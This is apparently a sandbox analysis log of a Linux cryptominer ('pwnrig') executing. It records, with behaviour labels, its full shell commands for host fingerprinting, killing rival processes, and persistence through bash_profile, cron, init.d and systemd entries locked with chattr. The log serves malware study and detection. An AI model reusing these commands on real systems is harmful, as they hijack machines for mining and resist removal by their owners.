/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵PID:1801
-
/usr/bin/whoamiwhoami4⤵PID:1812
-
-
/usr/bin/hostnamehostname4⤵PID:1813
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:1814
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:1830
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵
- Reads runtime system information
PID:1832
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵PID:1831
-
-
/usr/bin/idid -u4⤵PID:1834
-
-
/usr/bin/grepgrep -v grep4⤵PID:1837
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:1836
-
-
/usr/bin/psps x4⤵PID:1835
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Writes file to tmp directory
PID:1839 -
/usr/bin/idid -u4⤵PID:1840
-
-
/usr/bin/idid -u4⤵PID:1841
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵PID:1842
-
-
/usr/bin/rmrm -rf /bin/bprofr4⤵PID:1843
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵
- Attempts to change immutable files
PID:1844
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr4⤵
- Writes file to system bin folder
PID:1845
-
-
/usr/bin/idid -u4⤵
- Reads runtime system information
PID:1846
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵PID:1847
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵PID:1848
-
-
/usr/bin/chattrchattr -i -a "/etc/cron.*/pwnrig" /bin/crondr4⤵PID:1849
-
-
/usr/bin/rmrm -rf /bin/crondr4⤵PID:1850
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr4⤵
- Writes file to system bin folder
PID:1851
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
PID:1853
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig4⤵
- Creates/modifies Cron job
PID:1854
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵PID:1855
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵PID:1856
-
-
/usr/bin/whichwhich chkconfig4⤵PID:1857
-
-
/usr/bin/whichwhich update-rc.d4⤵PID:1858
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr4⤵PID:1859
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable4⤵
- Flushes firewall rules
PID:1860
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove4⤵PID:1861
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:1862
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:1862
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:1862
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:1862
-
-
-
/usr/bin/rmrm -rf /bin/initdr4⤵PID:1900
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr4⤵
- Writes file to system bin folder
PID:1901
-
-
/usr/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
PID:1903
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Attempts to change immutable files
- Modifies init.d
PID:1905
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵PID:1906
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵PID:1907
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵PID:1938
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:1939
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig5⤵PID:1939
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:1939
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig5⤵
- Reads EFI boot settings
PID:1939
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:1940
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:1940
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:1940
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:1940
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵PID:1970
-
-
/usr/bin/whichwhich systemctl4⤵PID:1971
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:1972
-
-
/usr/bin/rmrm -rf /bin/sysdr4⤵PID:1973
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr4⤵
- Writes file to system bin folder
PID:1974
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
PID:1976
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵PID:1977
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵
- Attempts to change immutable files
PID:1978
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service4⤵
- Reads EFI boot settings
PID:1979
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service4⤵
- Reads EFI boot settings
PID:2005
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:2031
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
- Reads EFI boot settings
- Reads runtime system information
PID:2057
-
-
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:2114 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵PID:2138
-
/usr/bin/whoamiwhoami4⤵PID:2149
-
-
/usr/bin/hostnamehostname4⤵PID:2150
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:2151
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:2167
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:2169
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
- Reads runtime system information
PID:2168
-
-
/usr/bin/idid -u4⤵PID:2171
-
-
/usr/bin/grepgrep -v grep4⤵PID:2174
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:2173
-
-
/usr/bin/psps x4⤵
- Reads runtime system information
PID:2172
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:2176
-
/usr/bin/idid -u4⤵PID:2177
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵PID:2182
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd4⤵PID:2181
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵PID:2180
-
-
/usr/bin/grepgrep -v grep4⤵PID:2179
-
-
/usr/bin/psps aux4⤵PID:2178
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵PID:2186
-
/usr/bin/idid -u4⤵PID:2187
-
-
-
-
/usr/bin/crontabcrontab -r2⤵PID:3860
-
-
/usr/bin/pkillpkill -f .klibsystem52⤵PID:3861
-
-
/usr/bin/pkillpkill -f .klibsystem42⤵
- Reads runtime system information
PID:3862
-
-
/usr/bin/bashbash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"2⤵PID:3863
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:3865
-
-
-
/tmp/sys-helper/tmp/sys-helper2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:3866
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:3867 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵PID:3868
-
/usr/bin/whoamiwhoami4⤵PID:3879
-
-
/usr/bin/hostnamehostname4⤵PID:3880
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:3881
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:3897
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:3899
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
PID:3898
-
-
/usr/bin/idid -u4⤵PID:3901
-
-
/usr/bin/grepgrep -v grep4⤵PID:3904
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:3903
-
-
/usr/bin/psps x4⤵
- Reads CPU attributes
PID:3902
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp 